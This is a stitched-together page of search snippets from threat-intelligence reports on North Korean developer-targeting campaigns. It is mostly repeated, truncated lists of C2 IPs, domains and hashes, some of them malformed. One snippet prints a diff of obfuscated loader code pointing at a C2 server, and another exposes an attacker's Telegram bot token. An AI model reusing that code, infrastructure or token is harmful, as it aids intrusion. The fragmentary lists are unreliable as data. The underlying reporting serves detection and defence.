45.137.213.30 45.159.248.110 45.43.11.201 45.61.128.61 45.61.133.110 45.61.150.31 45.61.150.67 45.61.151.71 45.61.158.54 45.61.158.7 45.61.169.99 45.82.255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205…","…analysis tools such as Validin, we can identify clear relations between the initial stage 1 delivery domain ( matuaner.com ) and the IPs 45.61.135.105 and 172.86.108.47 .…","….92.47.85 38.92.47.91 38.92.47.118 38.92.47.151 38.92.47.152 38.92.47.155 45.43.11.201 45.59.163.23 45.59.163.56 45.61.128.61 45.61.133.110 45.61.135.4 45.61.150.30 45.61.160.28 45.61.165.45 66.235.168.17 66.235.168.232 66.235.168.238 66.235.175.109 66.235.175.117 67.203.7.163 67.203.7.200…","…IP 45.61.140.26 23.254.253.75 45.61.128.122 45.61.135.105 144.172.74.23 144.172.74.141 172.86.108.47 216.107.136.10 MD5…","…e5d97afa5f1501b3d5ec1a471dc8a3b8e2a84fdb Dropper Macho x86_64 IP Addresses 23.254.253.75 45.61.128.122 45.61.135.105 45.61.140.26 139.99.66.103 144.172.74.23 144.172.74.141 172.86.102.98 172.86.108.47 216.107.136.10 Domains…","…23.227.202.244 23.254.164.156 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.137.213.30 45.43.11.201 45.61.133.110 45.61.150.30 45.61.150.31 45.61.151.71 45.76.160.53 5.253.43.122 66.235.168.232 66.235.175.109 67.203.7.163 67.203.7.171 86.104.74.51…","….92.47.91 38.92.47.118 38.92.47.151 38.92.47.152 38.92.47.155 45.43.11.201 45.59.163.23 45.59.163.56 45.61.128.61 45.61.133.110 45.61.135.4 45.61.150.30 45.61.160.28 45.61.165.45 66.235.168.17 66.235.168.232 66.235.168.238 66.235.175.109 66.235.175.117 67.203.7.163 67.203.7.200 67.203.7.205…","…IP 주소 1 172.86.84.38 2 45.61.150.31 3 94.131.97.195 4 144.172.97.7 5 185.235.241.208 6 45.61.128.110 7 144.172.86.27 8 185.153.182.241 9 45.137.213.30…","…23.254.164.156 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.137.213.30 45.43.11.201 45.61.133.110 45.61.150.30 45.61.150.31 45.61.151.71 45.76.160.53 5.253.43.122 66.235.168.232 66.235.175.109 67.203.7.163 67.203.7.171 86.104.74.51 88.218.0.78…","…202.244 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.130.43.97 45.137.213.30 45.159.248.110 45.43.11.201 45.61.128.61 45.61.133.110 45.61.150.31 45.61.150.67 45.61.151.71 45.61.158.54 45.61.158.7 45.61.169.99 45.82.255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122…","…There was also a backup C2 host http://45.61.150.67:1224 in play. Version 1.0.0 of this malicious package featured a different IP though the client identifier was the same.…","….47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.130.43.97 45.137.213.30 45.159.248.110 45.43.11.201 45.61.128.61 45.61.133.110 45.61.150.31 45.61.150.67 45.61.151.71 45.61.158.54 45.61.158.7 45.61.169.99 45.82.255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 6…","…eskills-uk.com www.dalas.nl 146.70.253.107 141.98.168.79 69.10.53.86 60.93.32.117 103.35.188.237 23.227.203.204 217.148.142.113 0.10.51.212 45.61.151.174 23.227.203.192 23.227.202.51 23.227.202.52 172.86.116.90 144.172.97.7 95.179.135.133 37.60.234.203 107.172.31.179 188.255.239.34 197.182.18…","…port 1224 . taras_lakhai and mvitalii , two newly identified accounts, use the same IP and port combination to connect to a C2 server at 45.61.151.71 on port 1224 .…","…38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.137.213.30 45.43.11.201 45.61.133.110 45.61.150.30 45.61.150.31 45.61.151.71 45.76.160.53 5.253.43.122 66.235.168.232 66.235.175.109 67.203.7.163 67.203.7.171 86.104.74.51 88.218.0.78 94.131.97.195…","…2 twitterapis taras_lakhai 2025-03-13 20:32:06 https://github.com/austin-a3/twitterapis 45.61.151.71:1224/client/9/906 [표 7] GitHub 저장소를 참조하는 악성 npm 패키지 목록 [그림 3] package.json 내 GitHub 참조 코드 [그림 4] GitHub 페이지 내 확인되는…","….47.85 38.92.47.91 45.128.52.14 45.130.43.97 45.137.213.30 45.159.248.110 45.43.11.201 45.61.128.61 45.61.133.110 45.61.150.31 45.61.150.67 45.61.151.71 45.61.158.54 45.61.158.7 45.61.169.99 45.82.255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227…","…23.106.253.194 23.106.253.209 23.106.253.215 23.106.70.154 23.254.244.242 45.140.147.208 45.61.129.255 45.61.130.0 45.61.131.218 45.61.158.54 45.61.158.7 45.61.160.14 45.61.169.187 45.61.169.99 45.89.53.59 46.4.224.205 67.203.0.152 67.203.123.171 67.203.6.171 67.203.7.16…","…47.91 45.128.52.14 45.130.43.97 45.137.213.30 45.159.248.110 45.43.11.201 45.61.128.61 45.61.133.110 45.61.150.31 45.61.150.67 45.61.151.71 45.61.158.54 45.61.158.7 45.61.169.99 45.82.255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.23…","…94 23.106.253.209 23.106.253.215 23.106.70.154 23.254.244.242 45.140.147.208 45.61.129.255 45.61.130.0 45.61.131.218 45.61.158.54 45.61.158.7 45.61.160.14 45.61.169.187 45.61.169.99 45.89.53.59 46.4.224.205 67.203.0.152 67.203.123.171 67.203.6.171 67.203.7.163 67.203.7.1…","…52.14 45.130.43.97 45.137.213.30 45.159.248.110 45.43.11.201 45.61.128.61 45.61.133.110 45.61.150.31 45.61.150.67 45.61.151.71 45.61.158.54 45.61.158.7 45.61.169.99 45.82.255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168…","…network IoCs from published reports related to this long-running campaign. 23.106.253.194 45.61.129.255 45.61.130.0 45.61.131.218 45.61.160.14 45.61.169.187 45.140.147.208 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 144.172.74.48 144.172.79.23 147.124…","…3.209 23.106.253.215 23.106.70.154 23.254.244.242 45.140.147.208 45.61.129.255 45.61.130.0 45.61.131.218 45.61.158.54 45.61.158.7 45.61.160.14 45.61.169.187 45.61.169.99 45.89.53.59 46.4.224.205 67.203.0.152 67.203.123.171 67.203.6.171 67.203.7.163 67.203.7.171 67.203.7.2…","…92.47.118 38.92.47.151 38.92.47.152 38.92.47.155 45.43.11.201 45.59.163.23 45.59.163.56 45.61.128.61 45.61.133.110 45.61.135.4 45.61.150.30 45.61.160.28 45.61.165.45 66.235.168.17 66.235.168.232 66.235.168.238 66.235.175.109 66.235.175.117 67.203.7.163 67.203.7.200 67.203.7.205 88.218.0.78 1…","…3.98.16 170.130.55.130 103.20.235.174 139.162.22.35 1.1.1.1 91.92.251.35 121.88.5.183 192.3.220.6 5.181.159.76 178.16.54.109 38.154.237.100 45.61.160.28 46.105.47.148 138.201.125.58 224.0.0.0 192.0.2.1 0.0.0.0 192.0.0.0 192.0.0.171 100.64.0.0 172.86.84.38 3.2.8.1 52.59.124.14 92.123.45.67 4.…","…C2 endpoints: /api/validate/files /api/validate/project-env /api/validate/system-info C2 domains and IP addresses: 45.61.161.146 45.8.22.144 45.8.22.52 api-sub.jrodacooker.dev api.bensaru.site api.fivefingerz.dev api.mywalletsss.store api.soladify.fun…","…Stager (moderate), /task/windows?token=812 IP 65.108.27.116 Stager (moderate) on :3000, /task/mac?token=30621346 IP 45.61.164.38 Stager (moderate) on :8080, /task/tokenlinux?id=401 Page text I am not a bot.…","…– C2 #2 http://144.172.106.7:1224 – C2 #3 http://144.172.109.98:1224 – C2 #4 http://144.172.104.10:1224 – C2 #5 http://45.61.165.45:1224 – C2 #6 http://45.61.150.67:1224 – C2 backup http://135.181.123.177 – C2 WebSocket #1 http://95.216.46.218 – C2 WebSocket…","…92.47.151 38.92.47.152 38.92.47.155 45.43.11.201 45.59.163.23 45.59.163.56 45.61.128.61 45.61.133.110 45.61.135.4 45.61.150.30 45.61.160.28 45.61.165.45 66.235.168.17 66.235.168.232 66.235.168.238 66.235.175.109 66.235.175.117 67.203.7.163 67.203.7.200 67.203.7.205 88.218.0.78 107.189.24.80…","…from published reports related to this long-running campaign. 23.106.253.194 45.61.129.255 45.61.130.0 45.61.131.218 45.61.160.14 45.61.169.187 45.140.147.208 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 144.172.74.48 144.172.79.23 147.124.212.89 147.12…","…253.215 23.106.70.154 23.254.244.242 45.140.147.208 45.61.129.255 45.61.130.0 45.61.131.218 45.61.158.54 45.61.158.7 45.61.160.14 45.61.169.187 45.61.169.99 45.89.53.59 46.4.224.205 67.203.0.152 67.203.123.171 67.203.6.171 67.203.7.163 67.203.7.171 67.203.7.245 77.37.37.81…","…FAMOUS CHOLLIMA 167.88.168.24 — Contagious Interview IOC lists 167.88.160.106 — FOFA tracking 45.61.131.218 — Travis Mathison 45.61.169.99 — Travis Mathison 23.106.253.194 — Travis Mathison 23.106.253.209 — Travis Mathison 144.172.105.235 — Socket.dev 172.86.98.240…","….70.154 23.254.244.242 45.140.147.208 45.61.129.255 45.61.130.0 45.61.131.218 45.61.158.54 45.61.158.7 45.61.160.14 45.61.169.187 45.61.169.99 45.89.53.59 46.4.224.205 67.203.0.152 67.203.123.171 67.203.6.171 67.203.7.163 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.13…","…to: --- +++ @@ -49,11 +49,11 @@ });*/ let u; const d = (t) => e(t, c), - X = \"http://162.218.114.83:3000\", + X = \"http://45.61.169.99:3000\", C = d(\"ER0UVhQZAw\"), H = (t) => t.replace(/^~([a-z]+|\\/)/, (t, c) => (\"/\" === c ? y : `${U[C](y)}/${c}`)), Y = \"slJCNQ5\", D =…","….43.97 45.137.213.30 45.159.248.110 45.43.11.201 45.61.128.61 45.61.133.110 45.61.150.31 45.61.150.67 45.61.151.71 45.61.158.54 45.61.158.7 45.61.169.99 45.82.255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168.238 67.203.1…","…7 3.70.247.229 47.103.45.174 161.35.227.89 172.98.73.57 212.117.176.187 103.175.16.113 209.127.20.13 154.7.253.191 91.243.44.22 4.82.216.57 45.66.230.56 4.5.77.0 197.149.90.166 185.217.197.84 199.19.226.25 167.114.0.144 12.4.0.158 94.23.26.205 85.195.115.20 2.0.0.0 22.186.3.65 4.0.0.0 49.1.1…","…38.92.47.85 38.92.47.91 45.128.52.14 45.137.213.30 45.43.11.201 45.61.133.110 45.61.150.30 45.61.150.31 45.61.151.71 45.76.160.53 5.253.43.122 66.235.168.232 66.235.175.109 67.203.7.163 67.203.7.171 86.104.74.51 88.218.0.78 94.131.97.195 95.164.17.24…","…2026 Secondary Staging 217.69.11.99 Feb – March 2026 Peak Campaign Activity 217.69.0.159 March 13, 2026 ForceMemo Active Wave 45.76.44.240 March 13, 2026 Parallel Execution Node Blastradius: Systemic Impact and Ecosystem Exposure The blast radius of the Polinrider…","…2026-02-09 -- 2026-02-14 Offline Shortest-lived (5 days) 217.69.11.99 2026-02-25 -- 2026-03-10 Offline OPSEC failure: plaintext memo 45.76.44.240 2026-03-13 Offline Brief overlap with 217.69.0.159 217.69.0.159 2026-03-13 -- present Active (kill-switch) Currently returning…","…Detection Opportunities Telegram bot auth token 7069293498:AAGH47J19fkbGT-56jkgWtvMCYRZpQxePwE Network Connections: 45.77.179.89 clip / .Safari_V8_Config 3efff55f643010647ac72a6761da38d934052140 65f47b3297e39e85a4c163184b12439797fbac11…","…noted that after performing a geolocation check (to avoid infecting victims in China), the malware will downloaded a binary from 45.77.179.89 .…","…IOCs IPv4: 62.33.223.165 // INVESTSTROY-NET (InvestStroyTrest) IPv4: 89.187.185.11 // DPRK-operated VPS IPv4: 45.77.71.42 // DPRK-operated VPS IPv4: 185.152.67.39 // DPRK-operated VPS IPv4: 104.250.148.58 // AstrillVPN exit node IPv4: 192.200.115.226 //…","…exit nodes. DPRK IT Worker IOCs IPv4: 89.187.185.11 // DPRK-operated VPS IPv4: 45.77.71.42 // DPRK-operated VPS IPv4: 185.152.67.39 // DPRK-operated VPS IPv4: 104.250.148.58 // AstrillVPN exit node IPv4: 192.200.115.226 //…","…URL http://103.35.190.170/Proxy.php http://86.104.72.247/Proxy.php https://45.8.146.93/proxy/Proxy.php https://86.104.72.247/proxy/Proxy.php IP 135.181.242.24 191.96.31.38 AhnLab TIP 를 구독하시면 연관 IOC 및 상세…","…URL http://103.35.190.170/Proxy.php http://86.104.72.247/Proxy.php https://45.8.146.93/proxy/Proxy.php https://86.104.72.247/proxy/Proxy.php IP 135.181.242.24 191.96.31.38 Gain access to related IOCs and…","…45.8.146.93 N/A STARK INDUSTRIES SOLUTIONS LTD 2024‑10‑26 Tropidoor C&C server.…","…103.231.75.101 THE-HOSTING-MNT Currently hosted on WorkTitans B.V 45.159.248.110 THE-HOSTING-MNT Currently hosted on WorkTitans B.V 45.8.146.93 STARK INDUSTRIES SOLUTIONS LTD Currently hosted on WorkTitans B.V 86.104.72.247 STARK INDUSTRIES SOLUTIONS LTD Currently hosted on…","…/api/validate/files /api/validate/project-env /api/validate/system-info C2 domains and IP addresses: 45.61.161.146 45.8.22.144 45.8.22.52 api-sub.jrodacooker.dev api.bensaru.site api.fivefingerz.dev api.mywalletsss.store api.soladify.fun blxrbn.com…","…pretty-fancy logger.clob.health HyperBuildX/Polymarket-Trading-Bot-Rust clob-client-sdk -> decode-sdks http://45.8.22.144:8080/deep-es6 Anoto-ecossistem/polymarket-copy-bot pino-pretty-log www.blxrbn.com hodlwarden/polymarket-arbitrage-copy-bot…","…/api/validate/project-env /api/validate/system-info C2 domains and IP addresses: 45.61.161.146 45.8.22.144 45.8.22.52 api-sub.jrodacooker.dev api.bensaru.site api.fivefingerz.dev api.mywalletsss.store api.soladify.fun blxrbn.com changelog.rest…","…(may be shared origin) 2 45.189.252.218 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 45.81.115.86 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 47.220.151.116 ipv4 insider August 2024…","….213.30 45.159.248.110 45.43.11.201 45.61.128.61 45.61.133.110 45.61.150.31 45.61.150.67 45.61.151.71 45.61.158.54 45.61.158.7 45.61.169.99 45.82.255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168.238 67.203.123.171 67.20…","…59.248.110 45.43.11.201 45.61.128.61 45.61.133.110 45.61.150.31 45.61.150.67 45.61.151.71 45.61.158.54 45.61.158.7 45.61.169.99 45.82.255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168.238 67.203.123.171 67.203.7.163 67.203…","…A significant portion of the IP addresses used for registration, such as 194.33.45.162 , 70.39.70.194 , 70.32.3.15 , 38.170.181.10 , and 45.86.208.162 , have been associated with Astrill VPN, a VPN service popular among North Korean threat clusters. Additionally, even before the account…","…node used by DPRK fake IT workers Campaign and cluster source Source 23.237.102.130 37.120.154.98 38.75.137.97 45.86.208.162 50.7.159.34 91.239.130.102 103.214.44.138 167.88.61.117 185.135.76.89 188.43.33.252 211.21.6.181 Contagious…","…fake IT workers Campaign + Source of the cluster Source 23.237.102.130 37.120.154.98 38.75.137.97 45.86.208.162 50.7.159.34 91.239.130.102 103.214.44.138 167.88.61.117 185.135.76.89 188.43.33.252 211.211.6.181 Contagious…","…198.255.45.131 199.115.99.34 204.188.233.66 208.115.228.234 209.127.117.234 23.106.161.1 23.106.169.120 38.170.181.10 38.32.68.195 45.86.208.162 66.118.255.35 70.32.3.15 70.39.103.3 70.39.70.194 77.247.126.189 91.239.130.102 Investigating BlockNovas’ GitHub…","…4 204.188.233.66 208.115.228.234 209.127.117.234 23.106.161.1 23.106.169.120 23.83.129.1 38.170.181.10 38.32.68.195 38.75.137.213 45.86.208.162 66.118.255.35 70.32.3.15 70.36.99.82 70.39.103.3 70.39.70.194 74.222.14.83 77.247.126.189 91.239.130.102 Related…","…38.32.68.195 38.75.136.211 38.75.137.97 38.75.137.213 43.230.201.57 43.230.201.68 45.126.210.144 45.145.68.10 45.250.255.59 45.250.255.140 45.86.208.162 50.2.184.50 50.7.159.34 50.7.251.66 50.118.211.10 51.195.140.214 60.234.42.250 60.249.92.67 61.218.132.193 61.218.138.181 61.219.114.7 61.2…","…91.242.241.55 Nov 2024 Jun 2025 91.242.241.183 Dec 2024 ACTIVE 62.106.66.151 Dec 2024 Sep 2025 45.129.199.127 Apr 2025 ACTIVE 45.86.231.67 Jan 2025 ACTIVE Another pattern we observed is that many active IP addresses were hosted on a different ASN-49392 LLC Baxet prior to…","…l.block-digital.online webmail.block-digital.online www.block-digital.online 69.10.53.86 141.98.168.79 198.54.116.177 103.231.75.101 45.89.53.54 199.188.200.147 198.54.119.94 192.64.119.25 45.159.248.110 http://69.10.53.86 http://141.98.168.79 https://block-digital.online/driv…","…43.11.201 45.61.128.61 45.61.133.110 45.61.150.31 45.61.150.67 45.61.151.71 45.61.158.54 45.61.158.7 45.61.169.99 45.82.255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168.238 67.203.123.171 67.203.7.163 67.203.7.171 67.20…","…4.244.242 45.140.147.208 45.61.129.255 45.61.130.0 45.61.131.218 45.61.158.54 45.61.158.7 45.61.160.14 45.61.169.187 45.61.169.99 45.89.53.59 46.4.224.205 67.203.0.152 67.203.123.171 67.203.6.171 67.203.7.163 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.…","….61.128.61 45.61.133.110 45.61.150.31 45.61.150.67 45.61.151.71 45.61.158.54 45.61.158.7 45.61.169.99 45.82.255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168.238 67.203.123.171 67.203.7.163 67.203.7.171 67.203.7.200 67.2…","…5.219.223.119 83.217.8.61 190.111.9.129 216.250.99.5 219.153.51.47 37.49.229.26 190.14.37.100 200.98.144.84 1.9.0.0 155.138.254.3 223.5.5.5 45.9.150.36 75.127.1.211 192.227.173.33 61.135.159.183 89.117.2.34 38.255.43.23 5.189.134.216 80.66.75.34 23.88.122.128 192.3.31.211 94.131.108.78 94.1…","…181.159.95 82.118.21.69 205.234.253.184 94.158.247.32 185.249.196.106 155.94.210.73 103.219.106.107 212.192.219.52 91.92.248.50 47.96.86.81 45.9.74.36 172.104.160.126 149.102.147.106 135.125.177.94 193.233.132.177 185.254.97.190 46.8.237.66 89.202.157.139 154.39.239.56 121.88.5.184 85.208.…","…244 180.101.75.58 045.4.3.3 6.0.1.06 185.216.213.137 78.111.67.189 69.50.175.181 178.236.247.102 209.200.169.10 115.47.49.181 42.51.155.153 45.93.201.62 65.98.83.115 54.237.176.95 58.65.239.124 185.244.25.155 91.92.252.146 5.39.217.221 194.178.112.202 98.126.208.83 31.214.157.170 95.211.153.…","…172.104.65.137 178.250.159.150 79.174.92.22 67.198.179.75 103.54.153.116 212.46.38.238 95.164.63.54 80.66.75.44 172.94.3.25 103.117.121.160 45.95.235.56 50.233.152.7 122.224.32.8 173.243.255.79 89.23.98.16 170.130.55.130 103.20.235.174 139.162.22.35 1.1.1.1 91.92.251.35 121.88.5.183 192.3.22…","…30.55.130 103.20.235.174 139.162.22.35 1.1.1.1 91.92.251.35 121.88.5.183 192.3.220.6 5.181.159.76 178.16.54.109 38.154.237.100 45.61.160.28 46.105.47.148 138.201.125.58 224.0.0.0 192.0.2.1 0.0.0.0 192.0.0.0 192.0.0.171 100.64.0.0 172.86.84.38 3.2.8.1 52.59.124.14 92.123.45.67 4.3.2.1 198.51.1…","….6.85 85.239.55.212 9.2.4.2 217.23.15.139 217.26.209.10 63.219.178.162 129.2.4.2 173.208.139.170 185.141.24.216 212.129.31.67 85.255.112.36 46.243.189.101 185.141.25.168 94.242.253.106 23.82.19.209 151.164.1.82 11.64.1.1 91.234.35.106 193.142.58.171 188.40.184.141 91.240.118.168 185.118.167.18…","….202.52 172.86.116.90 144.172.97.7 95.179.135.133 37.60.234.203 107.172.31.179 188.255.239.34 197.182.186.212 43.136.234.140 192.210.215.11 46.28.70.102 156.245.19.127 155.15.133.69 115.0.0.0 89.23.96.177 5.181.159.95 82.118.21.69 205.234.253.184 94.158.247.32 185.249.196.106 155.94.210.73 1…","…95.211.153.103 195.225.176.69 91.211.17.201 08.178.42.114 194.195.209.88 212.192.241.94 192.3.22.5 21.12.170.42 20.206.200.95 95.214.24.37 46.4.198.55","…95.211.153.103 195.225.176.69 91.211.17.201 08.178.42.114 194.195.209.88 212.192.241.94 192.3.22.5 21.12.170.42 20.206.200.95 95.214.24.37 46.4.198.55 203.0.113.8 100.64.0.1 13.1.3.6 15.1.5.1 14.1.1.0 5.6.7.8 203.0.113.4 15.1.2.1 4.4.8.8 12.1.3.0 16.1.2.2 224.0.0.1 93.184.216.34 203.0.113.…","….140.147.208 45.61.129.255 45.61.130.0 45.61.131.218 45.61.158.54 45.61.158.7 45.61.160.14 45.61.169.187 45.61.169.99 45.89.53.59 46.4.224.205 67.203.0.152 67.203.123.171 67.203.6.171 67.203.7.163 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24…","…5.61.133.110 45.61.150.31 45.61.150.67 45.61.151.71 45.61.158.54 45.61.158.7 45.61.169.99 45.82.255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168.238 67.203.123.171 67.203.7.163 67.203.7.171 67.203.7.200 67.203.7.209 67.2…","…19.106.107 212.192.219.52 91.92.248.50 47.96.86.81 45.9.74.36 172.104.160.126 149.102.147.106 135.125.177.94 193.233.132.177 185.254.97.190 46.8.237.66 89.202.157.139 154.39.239.56 121.88.5.184 85.208.108.63 167.99.115.33 222.73.85.117 149.28.222.244 104.223.67.151 162.250.98.10 185.156.73.…","…216.170.114.67 66.42.63.27 143.202.163.165 1.0.0.109 67.211.220.139 91.92.109.16 184.154.150.66 217.23.12.63 108.179.192.85 45.195.143.203 47.102.38.154 5.16.16.2 77.78.240.167 65.243.103.80 69.20.25.160 76.73.68.175 61.160.222.11 110.32.117.110 82.98.235.63 188.120.194.101 2.23.43.1 20.195.…","…98.65.206 1.3.1.0 111.90.149.233 20.234.231.114 77.83.197.180 205.177.124.74 5.5.7.1 23.108.108.42 27.126.188.212 62.233.57.103 80.66.75.25 47.103.219.77 65.98.83.119 37.221.160.56 185.147.237.244 180.101.75.58 045.4.3.3 6.0.1.06 185.216.213.137 78.111.67.189 69.50.175.181 178.236.247.102 209…","…105.78 104.37.168.41 65.98.83.114 3.3.3.255 61.32.117.110 178.23.190.157 198.23.172.90 217.23.6.131 222.186.60.89 74.82.216.27 3.70.247.229 47.103.45.174 161.35.227.89 172.98.73.57 212.117.176.187 103.175.16.113 209.127.20.13 154.7.253.191 91.243.44.22 4.82.216.57 45.66.230.56 4.5.77.0 197.14…","…- - 38.92.47.157 AS397423 Tier.Net Technologies LLC 45.140.184.41 AS212238 Datacamp Limited 47.147.126.25 - - 47.157.38.92 - - 64.29.17.3 - - 66.235.168.17 AS397423 Tier.Net Technologies LLC…","…AS397423 Tier.Net Technologies LLC 45.140.184.41 AS212238 Datacamp Limited 47.147.126.25 - - 47.157.38.92 - - 64.29.17.3 - - 66.235.168.17 AS397423 Tier.Net Technologies LLC 66.235.175.4 AS397423…","…(may be shared origin) 2 45.81.115.86 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 47.220.151.116 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 50.6.193.80 ipv4 insider August 2024 November…","….224.51.149 81.177.26.27 34.255.217.70 217.8.117.63 87.19.73.8 62.210.130.250 65.19.154.100 1.8.0.0 65.98.83.116 44.238.74.84 198.12.91.160 47.243.229.22 192.210.149.242 207.54.136.33 94.228.169.143 192.3.141.164 112.124.120.200 120.55.196.60 59.46.12.25 193.29.15.147 9.142.66.240 185.117.73.…","…23.96.177 5.181.159.95 82.118.21.69 205.234.253.184 94.158.247.32 185.249.196.106 155.94.210.73 103.219.106.107 212.192.219.52 91.92.248.50 47.96.86.81 45.9.74.36 172.104.160.126 149.102.147.106 135.125.177.94 193.233.132.177 185.254.97.190 46.8.237.66 89.202.157.139 154.39.239.56 121.88.5.…","…100.16 8.8.8.8 103.150.68.150 1.2.3.4 240.1.2.3 198.51.100.0 192.52.193.0 192.0.0.8 045.3.1.7 192.0.0.10 203.0.113.0 192.31.196.0 192.0.0.9 49.1.1.1 198.18.0.0 224.0.0.251 192.0.0.170 1.3.132.0 255.255.255.255 240.0.0.0 192.88.99.0 192.0.2.0 192.175.48.0 69.197.164.135 95.216.64.240 198.…","…230.56 4.5.77.0 197.149.90.166 185.217.197.84 199.19.226.25 167.114.0.144 12.4.0.158 94.23.26.205 85.195.115.20 2.0.0.0 22.186.3.65 4.0.0.0 49.1.1.52 167.71.14.135 23.249.163.163 185.172.128.11 200.98.146.241 185.125.230.210 3.4.6.7 27.0.092.168 12.101.97.71 122.228.7.225 85.17.93.189 4.8…","…18.141.200.95 66.199.251.114 89.23.98.22 85.17.138.60 59.188.136.151 207.226.171.36 83.171.239.79 80.66.75.116 103.228.36.104 5.252.178.213 49.1.9.16 13.231.238.12 124.217.252.62 18.179.111.240 141.255.147.215 185.70.184.39 164.155.255.81 51.254.25.115 174.133.72.250 97.0.1.80 188.213.167…","…95.238.122 66.40.9.246 185.215.113.201 179.43.134.164 167.114.48.58 91.207.116.44 94.198.50.195 174.128.236.169 122.193.130.74 91.92.246.35 49.12.42.56 122.224.9.151 200.98.65.206 1.3.1.0 111.90.149.233 20.234.231.114 77.83.197.180 205.177.124.74 5.5.7.1 23.108.108.42 27.126.188.212 62.233.…","…We also identified an earlier draft of the web application that contained only the first two IP addresses. 188.43.33.250 49.145.111.7 190.120.252.13 118.148.107.73 87.249.132.144 94.224.115.64 198.50.130.118 94.71.186.249 77.166.75.76 134.228.221.237 81.184.178.102 81.34.1…","…126.196.190 139.59.209.204 18.193.102.232 100.43.129.182 81.0.250.47 168.0.0.255 103.207.39.154 59.89.120.99 62.171.176.240 209.190.122.186 5.172.39.25 190.123.44.138 5.255.117.115 85.239.33.149 5.206.227.228 181.189.152.131 188.227.57.46 206.51.237.93 114.115.184.62 159.89.9.74 185.141.26.…","…(EuroHoster / AS207728, per AllSecure) Wider-cluster C2 IPs (hosting WHOIS-verified): 107.189.16.154:8353 (FranTech / PonyNet, US) · 5.180.30.30:4558 (THE-HOSTING / WorkTitans B.V., NL) · 31.222.238.61:4558 ( P.Q.…","…233.152.7 122.224.32.8 173.243.255.79 89.23.98.16 170.130.55.130 103.20.235.174 139.162.22.35 1.1.1.1 91.92.251.35 121.88.5.183 192.3.220.6 5.181.159.76 178.16.54.109 38.154.237.100 45.61.160.28 46.105.47.148 138.201.125.58 224.0.0.0 192.0.2.1 0.0.0.0 192.0.0.0 192.0.0.171 100.64.0.0 172.86.…","…07.172.31.179 188.255.239.34 197.182.186.212 43.136.234.140 192.210.215.11 46.28.70.102 156.245.19.127 155.15.133.69 115.0.0.0 89.23.96.177 5.181.159.95 82.118.21.69 205.234.253.184 94.158.247.32 185.249.196.106 155.94.210.73 103.219.106.107 212.192.219.52 91.92.248.50 47.96.86.81 45.9.74.36…","…190.14.37.100 200.98.144.84 1.9.0.0 155.138.254.3 223.5.5.5 45.9.150.36 75.127.1.211 192.227.173.33 61.135.159.183 89.117.2.34 38.255.43.23 5.189.134.216 80.66.75.34 23.88.122.128 192.3.31.211 94.131.108.78 94.102.60.207 69.31.84.223 70.38.40.185 42.51.159.222 84.16.234.103 209.62.108.220 209…","…2 81.0.250.47 168.0.0.255 103.207.39.154 59.89.120.99 62.171.176.240 209.190.122.186 5.172.39.25 190.123.44.138 5.255.117.115 85.239.33.149 5.206.227.228 181.189.152.131 188.227.57.46 206.51.237.93 114.115.184.62 159.89.9.74 185.141.26.231 31.202.130.93 185.219.223.119 83.217.8.61 190.111.9.1…","…the iCloud, Gmail, Outlook, Hotmail, Proton, GMX, 163, Skiff, Protonmail, and Yopmail services. Transaction IP addresses 5.226.137.4 27.109.114.188 37.120.151.162 37.140.254.144 37.140.254.189 45.128.199.27 45.8.25.82 45.8.68.79 45.8.68.80 45.83.220.216…","…3.254.164.232 23.254.204.184 23.254.244.248 23.254.247.32 23.254.247.53 38.110.228.112 38.146.28.252 45.42.40.200 45.42.40.208 5.230.251.49 5.230.252.157 5.230.44.79 5.230.54.23 5.230.78.47 HTTP Feature Hashes that were useful pivots: Feature Pivots Copy # banner_0_hash…","…compromiso de este nuevo cluster de Velvet Chollima , pero les dejamos los principales acá: IPv4:38.110.228.112 IPv4:5.230.44.79 IPv4:5.230.252.157 IPv6:2607:5500:3000:aa0::2 El resto de los indicadores los compartimos en este pulso de inteligencia en LevelBlue .…","…23.254.204.184 23.254.244.248 23.254.247.32 23.254.247.53 38.110.228.112 38.146.28.252 45.42.40.200 45.42.40.208 5.230.251.49 5.230.252.157 5.230.44.79 5.230.54.23 5.230.78.47 HTTP Feature Hashes that were useful pivots: Feature Pivots Copy # banner_0_hash…","…80 indicadores de compromiso de este nuevo cluster de Velvet Chollima , pero les dejamos los principales acá: IPv4:38.110.228.112 